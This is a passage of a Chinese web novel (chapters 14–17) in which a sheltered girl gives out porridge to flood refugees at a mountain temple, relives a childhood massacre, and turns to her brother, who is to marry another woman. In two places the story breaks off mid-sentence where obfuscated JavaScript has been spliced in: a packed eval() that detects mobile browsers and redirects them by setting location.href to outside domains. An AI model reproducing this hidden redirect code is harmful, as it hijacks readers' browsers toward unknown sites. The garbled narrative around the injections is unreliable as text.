一棵古老的银杏正屹立在庙前,同样挤在庙前的,是一群浑身泥渍,瞧着有些脏乱的流民。 这些流民之中,不乏有男人,有些也是女子和孩子,孩子的哭声打破山庙寂静。 暗卫只好将那些堵在门边的流民驱散了些,被护在正中的陆念安往前,终于进了庙中。 她忽得止步,再次回头看那些用珐琅镶嵌在檐上的神秘花纹,忽然感受到一种无法言语地悲哀。 秋菊以为她是害怕了,双手扶她:“小姐,夫人在这边。” “好……”陆念安愣愣地进了庙中。 以陆夫人为首了一行人也才刚到,丫鬟点起灯,陆夫人便念叨着,让大家都坐下来先歇一歇。 清平山上的这所寺庙,在此处已经屹立了几百年有余,一切都是最朴素的。 屋中没什么装饰,角落里的椅子是用竹子制成,有些简陋的可爱。 陆念安却还蛮喜欢的,正准备坐下,忽的听见耳边传来细碎动静,她回头看,是崔涵在指使身旁的小丫头擦椅子。 而方才的那些方丈也跟着进了屋,陆念看见他们以后,明亮地眼眸中有了一丝好奇。 她主动开口问:“那些人是从南边来的吗?” 屋中本宁静,按照规矩,方丈进屋以后,大家都等着陆夫人开口。此时却被一个小辈开口打断,崔涵同屋内的其他人一同看向陆念安。 陆念安便有些紧张地捏起裙摆,她很少同陆家以外的人接触,大户人家里习以为常的规矩,对她来说却是陌生的。 就算被大家这样看着,她也根本不知道自己错了什么。 好在陆夫人很快开口替她解围,一声“无事”落下,也让陆念安紧绷地心缓和。 陆夫人转头看向那方丈,顺着方才的话继续问:“除了门外那些,可还有人?” “有的夫人,山下也有。” “确实都是从南边来得流民,除了山下的,还有好些人已经死在了路上。”方丈说到死字时,面色悲戚地摇头:“住持前些天就念叨今年是个不太平的,只望上天庇佑。” 南边连日不断的大雨,就好像是在预示些什么,这样恶劣的天气,所有人都在祈求上天保佑。 他双手合十:“阿弥陀佛。” 室内气氛瞬间转变为沉重,还好天缓缓亮了,驱散了些黑暗和沉重。 清晨山上起大雾,住持推门进屋,带进一室水汽。一行人先跟着主持去正堂焚香礼佛。 陆夫人每年都会给寺中捐献香火钱,今年也不例外,加上这几日寺中在向外施粥,她又多添了些,只求攒些功德。 焚香磕头时,屋内拱着一尊金光闪耀的大佛,陆念安带着敬畏之心,不敢抬头看一眼。 身后,几个方丈正在分配厢房。 陆念安礼完佛后,起身走去,等他们都说完话,才小心翼翼,轻声细语道:“待会儿是要替那些人施粥吗:” * 近日里圣上批阅奏折时很操劳,几场暴雨而过,朝廷上下接连担忧了一月有余。 大水淹没了庄稼,河堤,让一些百姓无家可去,只得往北方迁移,这些流民的数量只多不少,是最让人忧思的。 陆祈从宫中回陆宅的路上,仍在处理这件事。半刻钟过去后,马车稳稳停在陆家大门前。 陆祈下了马车后先去了一趟书房,碰巧遇见青竹候在此处。 今日临行前,青竹被吩咐去北院监督小主子练琴。 陆祈便淡声问他:“阿念今日练了几个时辰?” 等了半响,没等到回应。 青竹缓缓将头低下,此刻也是硬着头皮将事情解释了一番:“我一早去北院时,屋内便没有人影,后来才知小姐是跟着夫人去清平了。” “……” 书房内有过一刻寂静。 陆祈本想说些什么,到最后却只是轻叹声气:“罢了。” 他又道:“阿念长大了,也有自己的想法。” 大景将年满十五的女孩视为及笄,女子及笄的另一层含义是长大及谈婚论嫁。 妹妹始终是需要自己独立的。 陆祈照常进了书房,先是处理白日堆下来的事务,等一桩桩事尘埃落定下来以后,他抬眸,天色竟不知何时黑了。 月光落在窗前,皎白色像层薄纱,他将青竹唤来,问他此时是几刻。 “要到三更了大人。” * 到了施粥的时间,寺中的几个小师傅煮好了白粥,用水缸当容具,在一起将这几缸白粥端去门外。 那些好不容易才讨要到吃食的百姓见状,都一窝蜂挤过来,小师傅只好让他们别挤,一边念着“善哉善哉”。 但场面还是有些混乱。 陆念安刚睡醒,此时站在一侧,悄悄探头往外看。 今早住持说,无家可归的人可唤做流民。但那些人原本也有自己的家的…… 粥摊前,方丈还是努力维持好秩序,这会儿一人施粥,两人站在队伍的末端看护。 下午的寺中,雾气完全散开,高大银杏树旁已经排起长队,白粥的香气散开,婴儿的哭声渐渐平息。 只队伍前进的有些慢,陆念安侧头看过去时,那施粥的师傅好像有些忙不过来。见状她满脸纠结的原地踏步。 秋菊抱着个匣子走来,正巧将她这副模样收入眼底,凑过去轻声道:“小姐看看,这些银子要如何分?” 日光透过云层,匣中碎银沐在光影之下,波光粼粼,可真好看。 陆念安回过神,开始数匣中银子,数到一般艰难地皱起 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陆念安未做过这种事情,在家中时,所有的一切都由哥哥准备好,她被娇养长大的女孩,未经受过风浪,连反应都慢别人半拍。 这时崔涵将她手中长而重的勺子接过,主动道:“没事的念念,我来施粥,你就负责将碗递过去怎么样?” 落在耳边的声音又轻又柔,陆念安一开始还未反应过来,过了两秒以后,才发现崔姑娘是在体谅她。 将碗递过去要比舀粥简单许多。 她心下一软,感激道:“谢谢姐姐体谅。” “无事,”崔涵温柔地笑着:“你还小呢。” 两个人分工协作,一人舀粥,一人负责将瓷碗递到百姓手中。 时间缓慢流逝掉,到最后几人时,陆念安也将袖子挽起来些。她一双手小而白,需要用双手,才能将碗稳妥地递出去。 日光逐渐转变为余晖,这几大缸粥也彻底施完,崔涵放下长勺,笑着对着陆念安道:“我可以叫你阿念吗?” 她声音真的和李老师一样,陆念安对这种语气毫无抵抗力,当下就点头。 崔涵便接着道:“阿念今日很棒呢。” 这话落下后,一旁的丫鬟有时来找,崔涵只好抱歉地看着陆念安:“阿念等等我可以吗?” 陆念安又点头。 她这会儿很乖,说等她便就站在原地,没多久以后,还未见崔涵的影子,到是秋菊跑了过来。 秋菊停在一米以外,上下打量了陆念安一番。 接着余晖的光芒,她家小姐此刻狼狈极了,鹅黄色裙摆间全是泥渍,一双手也不似往日白皙。 秋菊惊讶,明明才离开了一会儿……“小姐怎这般脏了?” 陆念安不好意思地低下头。 方才那些流民的手中多多少少都有泥渍,负责递碗的她当然不可避免地粘到了些。 “那我带小姐去洗洗。” 秋菊只好牵起自家小姐的手,又带着她往一旁走。 寺中靠后的地方,是有一口水井的,那水很干净,寺中的住持与方丈都是饮那井中之水,这是山中难得的水源。 穿过落满绿叶的长廊,终于到了那井之地,此刻一主一仆挽着手止步。 陆念安仰起头,视线之中,那抹熟悉的素色身影也立在前方。想到方才那件事,她有些感激,想主动同她打招呼。 一句话还未开头,她却听见崔涵用一种很嫌弃地语气先开口:“佛门之地,怎会有这么多刁民。” 崔涵皱起眉,丫鬟正用手帕替她擦拭指尖,她又抱怨:“香叶,方才那些人的手可脏了,好恶心。” 她嗓音仍旧是细细的,却全然不似方才那般轻柔,让陆念安听得很清楚。 此处绿意盎然,牵牛藤爬满了整块墙,是极富有生机的,山上可真是个好地方。 其实陆念安没什么难过的,只是她不想往前了。 15. 第 15 章 长廊尽头,落叶凌乱,等最后一抹余晖散去时,崔涵沿着路返回。 这个季节连落叶都是嫩绿的,崔涵目光落在此处,不知想起什么,微顿了下,才快步走出长廊。 此时,陆念安正背靠着红墙,面前是那棵高大古老的银杏树,她仰起头看着。 “阿念?”崔涵上前,她已净过手,衣裙素白,气质温婉。 纤纤玉手搭在她肩上,轻声道:“阿念可是累了?” “有点。” 陆念安没什么太大的反应。 又忍不住想,崔姑娘如此细心地待她,是因为她是陆祁的妹妹吧? 天色欲晚,想到这里时,陆念安已经面带倦意,崔涵见状,体贴道:“阿念既是乏了,便先去歇息吧,这里有姐姐看着。” 陆念安应下了,收拾干净后推门进屋。 东边的第二间厢房里,室内简洁到空旷的程度。一张竹木床摆在角落,左侧处放着木桌,除此以外,便未有多余摆设。 看着那张硬木板一样的床,她更伤心了,落寞地低下头。 迟顿如她,总是后知后觉才悟出一丝不舒服。 身处于佛门之地,并无无消遣之物,陆念安累了一天,也没心情抄经,就先褪了外袍睡下。 寺中比想象中要清苦一些……床板上,只铺了一层薄薄的棉布,躺下时,硌得脊背生疼。 陆念安适应了好一会儿,慢慢将脸藏进被子中。 可能是因为,一个人独处,情绪会更明显一些。 她总是很容易感到难过。 * 醒来以后,秋菊端来素粥,配一碟去山下买的点心,在山上没什么讲究,一起围着唯一的木桌用膳。 陆念安瞥见放在一旁的木匣子,想起昨夜那些碎银,仰头问她:“秋菊已经分好了吗?” “昨夜便叫人拿去了。” 碎银虽零散,但换做铜板还有些分量,拿下山总兑了几十吊钱,秋菊便让小厮给每人都分了半吊钱。 “那便好。”还在吃糕点,陆念安声音含糊不清。 用完粥和糕点之后,清平寺的门前,渐渐多了些人气。 大多都是上山祈福之人,她们会在寺中求一块开过光的佛牌,或者将心愿写进丝带,悬挂于院中那棵高大的银杏树上。 夏季银杏常青,但满树的红色丝带,给这分绿意中带来几丝庄重。 拿着佛珠的方丈走来,许是见陆念安仰头正看着,便告诉她这棵树是有佛光的。 它屹立在此处,几百年日夜仍然未变。 至于那些开过光的佛牌,其实只是山中最普通的木头所制,经过开光以后,才多出灵气。 “开光是什么?” 佛牌埋进焚烧的香炉之中,经受香客日夜供奉一年后再取出,便是开光。 “真的灵验吗?”陆念安看着寺外人来人往皆有所求的场面。 可他们之中,又有多少人能真的实现心愿呢? “常伴在佛相左右,或多或少也会沾染上些许佛光的。”方丈有感而发。 “那我能求一个吗?”陆念安立刻低垂眸翻找荷包:“我有银子的。” 方丈只笑:“小施主的母亲年年都来山中祈福,有这样的诚心,自是能求到佛牌的。” 紧接着方丈带她进了里屋,焚香的盒中,埋着几块佛牌,抖去香灰,用长绳穿过,可常伴于身侧。 来寺中之人,有人求爱,有人求业,有人求平安。方丈将佛牌递给陆念安时,同她说:“盼小施主能心想事成。” * 又施粥的时间,陆念安便主动提出来帮忙。 热粥很烫,需要用长勺不断搅动散一散热气,这过程有些费力。 不过一会儿,陆念安便出了些汗,她拿手帕擦着额头,下一瞬,长勺被人接过。 是崔涵来了,她语调仍旧柔和,嗓音很细:“阿念,姐姐帮你。” 热气顷刻间散开,崔涵用长勺翻动着白粥,动作利落。 陆念安看着她。 崔姑娘真的有好多力气呢。 一行人将粥散完,方丈同两位姑娘道谢,等真诚的道谢被接受后,才端着大米缸往寺中走。 见状,崔涵也前去帮忙。 陆念安力气不够,就站在摊子前收拾着。 正巧这时,上山必经的台阶边,多出一些细碎的动静。 她看过去,来人皆散着长发,穿着满是泥渍的长袍,落魄又可怜。 他们是无家可归的流民,领头那个瞧见陆念安的目光,便走来。 “姑娘,请问是此处正在施粥吗?” 陆念安耐心同他解释,告诉今日的粥已经施完,又让他们等等。 “老朽们,都,都是从清洲来得,已经,已经饿了好几天了。”领头这是个老人,上了年纪,右手撑着树枝当拐杖,双脚踩着破烂的布鞋,勉强站立。 可能真的是饿极了,此刻哆嗦着,连完整的话都说不了一句:“听闻,这寺前,正在施粥,才带着,姊妹孩子们,上来讨要碗。” 他恳求:“姑娘你,行行好,再给,我们施点吧。” 有风吹过,树影婆娑,连带着那些红色丝带一同飘散开来。 这风同样吹起老人破旧的衣袍,像是被风吹倒了,他猛地跪下来,身后的孩子,抱着孩子的妇人也齐齐跪下,一起恳求道:“姑娘你们行行好,还有孩子,孩子们……” 说着就要磕头,陆念安一个被养在深闺的姑娘,她哪里见过这阵仗,当即就愣了。 反应过来以后,她忙抬手让大家起身,几个方丈放了米缸走来,也一同劝阻着,只让大家静一静,说不是不给,只是要等等。 可那些人哭着,恳求着,根本没听进去这劝解。 混乱间,陆念安觉得头有些疼,她靠在墙面上,让秋菊把厢房中的匣子拿来。 秋菊很快便跑去厢房,她走后,那些人的恳求声还未停。 陆念安强打起精神安抚他们:“粥,粥很快就来了,大家都起来吧。” 她不过一柔弱女子,打从来了陆家,经历过最大的挫折便是练琴……这样纤弱的姑娘,她强打起精神说出的话,也是轻飘飘没有说服力的。 那些人还是跪在面前,额头直直往地上磕,他们仿佛不会疼,直到磕出血印来,血水将落叶染成红色。 本就是渐渐黯淡的夜晚,陆念安提着灯笼,那点血水像极了红色的砂,她跟着就移开目光。 好在秋菊很快将匣子拿来,跪在地上的流民见了匣中吊钱,才停止哭声。 秋菊上前将铜板分给几人,眼前没几个人还勉强够分,她刚呼出口气,察觉到余光中,不知何时又多出来好些人。 那些人同样披散着长发,同样破旧不堪,同样用祈求目光看过来—— “姑娘们行行好。” “姑娘,你行行好,我们也是从山下来的,我们今日也饿了几天……” “我可以不吃东西,但是我的孩子不行,她才这般小,她……” 也有人无话可说,直接将额头磕在地上,皮肉瞬间裂开,见了好多血。 混乱间,不知是谁先起来头,直接上前去抢那木匣,将秋菊吓了一大跳。 总归那匣子中也没什么东西了,秋菊将东西扔远,惹来大家更激动地抢夺。 为了为数不多的铜钱,几个人推搡,抢夺。一窝蜂地跑过去,混乱时,不知谁失手将那米缸推下,这实在是很刺耳的一声,尤其尖锐。 山中忽得只沉静了一瞬。然而也只有这一瞬,便又回到一开始的吵闹。 眼前的这场闹剧,已经发展到无法停止的地步。 秋菊还记着陆念安,回过头找她,环视了一圈,却未看见她人影。 小姐去哪儿了? 心下有些紧张,秋菊急得团团转,直到凑近以后,才发现陆念安就在那碎掉的米缸旁。 方才米缸被推下破碎时,陆念安就站在一旁。 那时厚厚的瓷片落了一地,甚至有许多都散在她脚边。 她手中的灯笼也摔落在地,灯油散在落叶上,已凝固成白色的烛块,一片狼藉。 陆念安双眸呆愣。 转过头她见秋菊走来,可视线开始变得模糊,晕乎中,她只隐约能看见秋菊的唇瓣正一张一合。 可是秋菊在说什么呢? 陆念安捂住耳朵,有些头疼自己听不见任何声音。 而耳中有尖锐的疼痛。 她不想听,她什么也不想听了,艰难地捂着耳朵,还在不断施加力气。 有一个瞬间里,陆念安甚至觉得自己又要死了。 就如同那个腐烂的秋日一般。 她想起那个淌着鲜血的村落,无数的尸体纵横交错,落日余光中,鲜血将枯草染成艳丽的红。 孩童的哭声,大人的恳求以及撕心裂肺的喊叫,同方才一模一样。 只剩下乌族人放肆地笑声,锋利的剑出稍,很快,就一路残杀到村落的最后一户。 这是整个村中的最后一户。 这一户人家中,女人正哆嗦着将整个屋子都翻找了一遍,她找出家中最大的匣子,又合上。 转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981060|148128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而去了厢房,拉开柜子,又合上。 甚至将床榻都翻遍了,最终无能为力地原地坐下,无声地留着眼泪。 女人这时转过头,看向站在门边,那个安静地孩子。 原来屋中还有个才丁点高的女孩,见了她以后,女人的泪水瞬间涌出,压抑着哭声。 “娘亲不疼。” 那孩子忍不住跑上前,她有一双很漂亮的眼睛,大而亮,此刻正一眨不眨地盯着女人看。 女孩用衣袖给母亲擦眼泪,可泪水太多,直到她小小的衣袖染湿,泪水都没有擦干净。 这孩子便无措极了,只得换一个法子,用小手拍母亲肩膀,生疏地安慰她:“嗯呀……娘亲不哭嗯呀……娘亲不哭……” “娘亲不哭了,瞧我们念念好乖。”那女人忍者眼泪抱起孩子,疼惜地低下头,吻在孩子额上。 时间好像很少,少到那女子连话也没说几句,就匆忙抱孩子跑去院中。 在孩子疑惑的目光中,女人打开了什么,将孩子扔进了角落处的水缸里。 女人忍了忍,努力笑起来:“阿娘同念念玩个游戏,谁先说话谁就输了好不好?” “不好……”陆念不断摇头,呜咽着:“不好不好不好一点也不好。” 可没有人回应她。 已经眼前已经只剩下一片黑暗,水缸上的木盖落下,封闭空间中,外面的一切都成了未知。 是那样温柔美丽的女子,他们怎能忍心让她去死呢? 水缸很厚,能隔绝掉细微的哭声,却隔绝不掉男人们畅快地笑意。 陆念捂住耳朵,她什么也不想听见,有一刻里,她好想站起身,好想让他们都去死。 可是没有,她想到陷入黑暗之前,娘亲落下的目光。 就什么声音也不敢发出来了。 耳边会什么时候安静?她意识不到了,只缩在窄小的空间中,发不出声音,也睁不开眼。 她沉沉睡在这个秋日里,不知过了多久,久到一切都要暂停时—— 水缸上厚重的木盖被人打翻,日光刺目,白衣少年弯下腰,宽厚有力的掌心落进缸中,他将她抱出来。 少年的声音清润而平静:“就是你叫陆念?” “阿念?” 回忆里少年的声音,正同耳边沉着的男声重叠起来,陆念安抬起头时,湿润的眸子中,映照出一道白色身影。 那人又开口唤她,语调有些沉,一边抚着她乌发安抚:“是哥哥来了。” 黑暗中有微弱的光芒,却将白衣男人的面庞照耀的清晰,是罕见的柔和。 怎么梦中的画面都变清晰起来了? 不然哥哥怎么会在眼前。 陆念安低下头不说话,下一瞬,熟悉地温度落在手臂上。 他指腹隔着薄纱,紧紧贴住她,源源不断地热度裹挟着气味传来。 气味远比记忆来的深刻。 陆念安后知后觉地意识到什么,仰起头。 眼前又多出好多人,母亲,崔姑娘,上回那位公子…… 他们是何时来的? 而此刻,所有人正齐齐望着她,那些目光或关心或疑惑。 陆念安无疑是胆怯的。 她上前一步,当着所有的面,将脸埋进陆祈的怀中。 她哭声微弱,夹杂着几分意味不明的委屈,只当着哥哥的面才能宣泄出来。 “哥哥……”她轻声唤他。 一切都顺理成章。 他是拨开黑暗,带进来光的少年。 是见她孱弱,替她添字为安的陆祈。 是这么多年,一直一直护着她的哥哥。 阿念要怎么办? 她低低呜咽起来,从唇齿溢出的声音破碎,陆祈预推开她的手一顿,最后放在她肩侧安抚。 “可是怕了?” 陆念安在陆祈怀中胡乱拱着,直到擦去多半眼泪才甘心。 她很快仰起头,因为身高的差距,湿漉漉眼眸只能盯着兄长下巴。 她张唇,想问他可不可以只要阿念。 却在一瞬寂静以后,用只有陆祈能听见的声音,恳求:“哥哥可以不娶崔姑娘吗?阿念不喜欢她。” 再次以前,陆念安从未这般恳求过他。 很快便得到答案。 陆祈落在她肩侧的手抬起,下一瞬,缓缓将陆念安推开。 他认真看着她,眼底的纵容仍在。 柔和的声音是他一贯对待妹妹的态度,语气里却藏着作为陆祈时得强硬。 “阿念今夜累了,先去睡一觉如何?” 16. 第 16 章 陆念安没说话。 午夜的山中,寒气丝丝入骨,总让人觉得会下雨。 月光下,有密密麻麻的影子被拉长。穿着护甲的禁军围在寺外,甚至于,连大皇子都在山下。 南边接连不断的雨有渐停趋势,圣上有意治水,其中最首当其要的,就是替这些流民找一处归宿。 今夜还有许多事未果。 陆祈没有时间陪她。 他让她听话。 陆念安站在黑影间,不情不愿很轻地“哦”了一声。 她低头,纤长的脖颈折下,是被压弯的柳枝儿,一阵风袭来,枝上的絮儿飘啊飘啊。 就全都碎了。 果然下起了小雨,方才的混乱平息,一行人回到厢房。 秋菊找来柔软的绸帕给陆念安。 陆夫人推门而进,担忧地看向她:“念念……” 被呵护长大的孩子,并不知人心与人心之间,有多么大的差异。 她怀着好心,越是柔软,越让人顺杆欺上。 陆夫人一顿。 有时她也会想,是不是将这个孩子养得太简单。于是话到嘴边,凌厉了几分:“今日之事,是念念你太过冒失。” “既是好心,也不该如此不稳重。” “为何寺中以施粥的名头在行善?念念,你能用银子救助一些人,那其余的呢?” 陆念安眼眶逐渐泛红。她不是不分事理的姑娘,今夜一过,也发觉是自己错的离谱。 她不可能将银子分给每一个人的…… “但母亲知你也是心善。”陆夫人叹气,又开始给甜枣:“今夜也被吓到了吧?” 陆念安点头,声音轻飘飘:“有些。” 陆夫人便又安慰了她几句。 天色不早,窗外的雨还在下着,陆夫人先回屋歇息,推门时,连绵雨丝带进一股冷风。很快这冷风又被门阻隔在外。 陆念安躺下。 今夜发生了太多事,原以为后半夜会是个平静的,至少可以伴着淅淅沥沥的雨声入睡。 可后半夜,天空逐渐变成浓得能滴出墨汁的砚台,黑暗之间,一道白光闪过,屋内有一瞬的明晰。 然后重回黑暗。 几声巨响落下,“轰隆”的几声,直接将陆念安从睡梦中拉醒。 本就是在山顶之上,白光伴随着雷声,那闪光即将下落,总有下一瞬会下落到头顶的错觉。 风雨中,这小屋似乎也摇曳起来。 陆念安抱起轻薄的被子下床,秋菊忙起身走来:“小姐要去哪儿?” 白光闪烁,总勾起人不好的回忆。 其实陆念安怕极了雷雨天,脸色惨白:“哥哥回来了吗?” 她又说:“我想哥哥了。” 她是那种受了伤,第一时间不叫疼,反而到处找哥哥的女孩。 她总是下意识依赖他。 在陆祈选择操劳她所有的琐事时,陆念安就养成习惯。 此时电闪雷鸣,雷声刺耳。一声一声直直落下,山都要碎了。 陆念安站在门口向外张望,踌躇着原地踏步。终于,她拿起放在门口的伞,推开门。 霎那间水汽散进屋内,连带着秋菊也清醒了,跑过来拦她:“小姐怎得忽然出去?” “我看见哥哥了。”陆念安的语气彷徨无措,尾调都是颤着:“我想去找他。” 不论方才哥哥有没有答应她,她都想去找他。 “小姐你……”窗外下了好大的雨,秋菊冒出的唯一一个想法就是,阻拦。 陆念安不安地咬着唇瓣。 秋菊只好侧过脸看向窗外,水雾朦胧间,陆祈的身影模糊。 模糊到只是一个影。 需要人眯起眼,很费劲很仔细地才能看清。 陆念安却已经撑起伞往外跑,还不忘抱着自己的小枕头。 有一个瞬间里,白光点亮整个山寺,陆念安错将溅起的雨滴看成散落的珍珠。 又是一道“轰隆”,陆念安扔下伞,猛地扑进陆祈怀中—— 被稳稳接住。 就像许多年前的那个夜晚,雷雨交加,她也抱起枕头,一鼓作气跑到西院。 推开门,问可不可以和哥哥睡。 哥哥会弯腰将她抱进怀中。 她可以枕着自己的枕头,同哥哥盖一床被子。 一切却不似从前了。 方才疾步跑来,虽撑了伞,她衣裙也不可避免地被淋湿,湿漉漉贴着肩膀。 陆祈只将她放开,拖下外衫披在她肩侧:“哥哥在这儿,阿念先进屋,让秋菊陪着你?” 陆念安没说话。 “天塌下来都还有高个儿顶着,瞧阿念怕什么?”陆祈叹气,给她擦眼泪。 陆念安就仰起头,纤细的脖颈紧紧绷住,倔强地看着兄长。 陆祈继续给她擦泪,“还哭呢?我们阿念脸都哭花了。” 柔和的语气,却未曾退步一分。 陆念安有些失望,难道长大以后,就要全然不复从前吗? 最后是秋菊跑来将陆念安拉走了。 虽说在府中时,小姐同公子不是没有这般亲近过。 但今日当着这么多外人的面,实在还是有些不像话。 身后有穿着护甲的禁军,黑压压连成一片。 大皇子撑伞本还在同陆祈攀谈,忽得被打断,面色惊讶地看着他和突然出现的女孩。 也将兄妹两不似普通兄妹的亲密收入眼底。 等人走后,他提灯上前,明知故问:“方才这是……?” 陆祈拂去肩侧水滴,随口回答:“家中幼妹。” “本宫是听说陆兄还有一个妹妹,”大皇子慢悠悠感叹:“陆兄你这妹妹到是黏你。” 他倒没多想,只是下意识感叹。 陆兄在朝中的名声早已传开,前些年一次宫宴,不过一个穿着清凉的舞女主动给他倒酒,当时他未有反应,等散了宴,却将人带进刑狱司中关了几日。 大皇子忍不住遗憾,他父王这般愚笨不堪的人,独独占了个运气。 前半生有陆将军替他打下江山,后半生又有陆兄这般的贤才替他守着。 真是想让他下位都难呢。 已行至长廊下,陆祈收伞,手背是冷白的。 一边回答他:“少时阿念性子怯,便养得有些娇气了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13998082|148128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在来清平以前,大皇子未和陆祈打过几次交道,对他的印象停在贤臣和寡言上。 其实私底下也找过路子,只是没将这位贤臣收拢。 此时琢磨出点其余的来,大皇子侧头笑道:“陆兄你家还挺好的,我那几个妹妹,到没一个和我亲。” “不过关系太好也有些恼,女孩子总归是要嫁人的,长兄如父,到时又该操心旁的了,总不能被哪些个小少爷娶了去……” 也没多想,只感叹了声哥哥的不容易。 陆祈是为数不多的清臣,克己守礼,心中有一条泾渭分明的线。 这样端方雅正的公子,连同及笄以后的妹妹拥抱,落在旁人眼底,也只会感叹声关系好。 陆祈忽得止步。 右手拿着手中那柄长伞,骨节分明的长指下,雨水顺着油纸伞面下沿,木板上氤氲开湿漉的水渍。 他平静看去,目光和今日的云有些像,云层之后有未落下的雨。 将落未落,藏得太深,或许连他本人都未曾发现。 陆祈语调仍旧平静,缓缓到来:“但凡是不能全然插手,等她懂事些,做兄长的也要学着放手了。” 大皇子微怔:“嗯?” “只稳重些,她喜欢就好。” 陆祈不是没有想过这个问题,只稳重是少不了的。 阿念她已经够迷糊。 寺中又开了几间厢房,今夜大皇子同陆祈都在此处宿下,明日一早再回宫中报备。 翌日清晨时,雨早已停,山中起大雾,白茫茫一片。空气中有青苔同线香交融的味道,闻起来还湿漉漉的。 大皇子很早便起来了,枕了半宿木床,就浑身酸疼,撑着腰起来。 爬山也费了不少力气,本想览看眼山下,推开门,无意间听见隔壁的动静。 他扭头,瞧见陆兄的门外候着位身形纤瘦的姑娘。 崔涵穿着沉稳的灰粉色,当一个人绝对专注时,是听不见旁得动静的。 她此刻就是这样,仰起头,看向隔着一米距离,身形高大挺拔的男人,连大皇子推门走出都没注意到。 “还未订下日子,按规矩而来,私底下见一两面也是无伤大雅的。” 崔涵唇边挂着得体的笑:“听闻寺中的佛牌很灵验,昨日思来想去,还是去找人求了块。” 佛牌挂在她素白的指骨间。 长绳晃了晃,被递过去。 陆祈垂眸。 许是晨中太寒,他眉眼间有未消融的冷气。 只穿着间素色衣袍,对人待事,都置身事外般寡淡。 崔涵忽得想起难以窥察四个字,可他这样清俊雅正的公子,整个上京也寻不出第二人了。 指尖微颤,崔涵预收回佛牌:“若是不合规矩,便改日再……” “无碍。”他终于抬手接过,面色沉在阴影间,更让人看不真切。 大皇子便又将视线落在崔涵身侧。不是昨夜那姑娘,昨夜那位,似是还要娇小些,在雨中时白得像一道虚虚的影…… 他想起来了。 这是崔家那姑娘。父皇前日里提过一次,若无意外——陆兄当是要娶她为妻的。 17. 第 17 章 大雾中,长廊下两道身影被虚化又虚化,只剩下模糊的轮廊。一道是白的,一道粉的。 崔涵喜素色,既是着亮色的衣,那亮色中也会加一抹灰来中和掉。 而一个人的喜好,同一个人的性子免不得有联系,她一直是沉稳,妥当的人。 既是所赠之物被心上人收下,她也只是温和的笑着,柔和的眉眼,像池中正缓慢舒展的莲花。 陆念安喜明艳的鹅黄。 转身时,这抹鹅黄会在雾中漾出一个漂亮惹眼的弧度,簪下流苏随着她急促步伐,缠在一起,很细微的动静。 山中万籁俱寂,偶然有飞鸟掠过,踩着古树的枝干扑腾,林中便发出震耳的响动。 一阵哗啦声,抖落下一连串的露珠儿。 今日山中格外冷清,那些流民不知被归置去了何处。 或许她该问问兄长。 可惜不能是现在,现下她好像不该去打扰兄长。 陆念安手心握拳,柔软的掌心包裹住那块佛块。小小的一块木头,四四方方棱角分明,硌得人几乎喘不过气来,比昨夜的硬木板床还要让人难过。 “秋菊我们散散步吧,”陆念安望着眼前,是湿漉的绿意,她开口:“我们下山走走,来了这几日,好像都未曾去逛过呢。” 她开口时,带着自己都没发现的哭腔。秋菊不明所以,侧过头,见她眼眸红得肿胀。 下山要比上山省力气。雨水将整座山都洗涤了,石板上青苔薄薄一片,踩上去很滑,陆念安差点摔倒。 好在她稳住了,劫后余生般呼出口气。 主仆两人先去山下的亭子歇息。 折腾了这一会儿,大雾还未散去,山顶还是白茫茫,让人看不真切。 陆念安收回目光,暂且往别处看,亭前是一片竹林,竹叶的颜色是干净的翠绿色。 竹下则是柔软粘腻的泥潭,那泥潭上有一团黑影。 光线不够明晰,让人分别不出那一团到底是什么。 陆念安蹙眉疑惑,转过头问秋菊昨夜的那些流民去了哪里。 “是公子和大皇子来处理的此事。” 连日不断的雨虽然停了,但被水淹没的黄土,村庄却无法复原。 失去了家和土地的人颠沛流离,无所居,所以才都往上京迁移。 陆祈来之前往上递了奏折,在堤坝重建以前,先组织将这些人规范迁移到越州。 所以山顶上的流民在雨停以后,已经被归置好,正要送去越州。 昨夜来了这般多的禁军,按理来说,不会落下了谁。 竹林下那一块“大泥团”在两人交谈时却动了动,微弱的呼吸声迫使陆念安走近。 陆念安弯腰,努力辨别着眼前这泥团。 果然是个人影。 从身形来看,应是个成年男子。 “小姐。”秋菊一个晃神,过来拉住她:“怎喜欢乱跑呢?” 陆念安指着眼前地这一团:“这好像是个人,对吗?” 生离死别曾于她擦肩而过,那些模糊的,仅剩的回忆,在过去十年以后的今日,仍像碎琉璃一样,轻易就刺破血肉。 陆念安明媚的面庞上,多出几丝忧愁。她问那泥团:“请问你还好吗?能说话吗?” 那人没说话,肩侧微动,脖颈仰起——是一张被泥团糊住的脸,看不清容貌。 他还活着,只是脏得吓人。 “你怎么没跟着大家一起走呢?”陆念安下意识去摸腰间地荷包,却发现荷包里已经没有银子了。 这人仍旧没说话,好像是个哑巴。 陆念安没了办法,转过头:“秋菊,我们让人把他送走吧。” “好。” 主仆两又研究了会儿他是如何落单的,最后得出统一的结论——只能是被人遗落下了。 离开前,陆念安提了提裙摆。 忽觉手中还握着那块佛牌,被握了好一会儿,佛牌沾染着手心的温度。 还是棱角分明的触感。 心脏莫名凹陷下一块,酸楚的血液倒流,分散进身体的每一处。 她只想给哥哥独一份的祝福。陆念安篡了一路的手松开了。 回过神,垂眸看向那泥团。又将佛牌放在泥团面前。 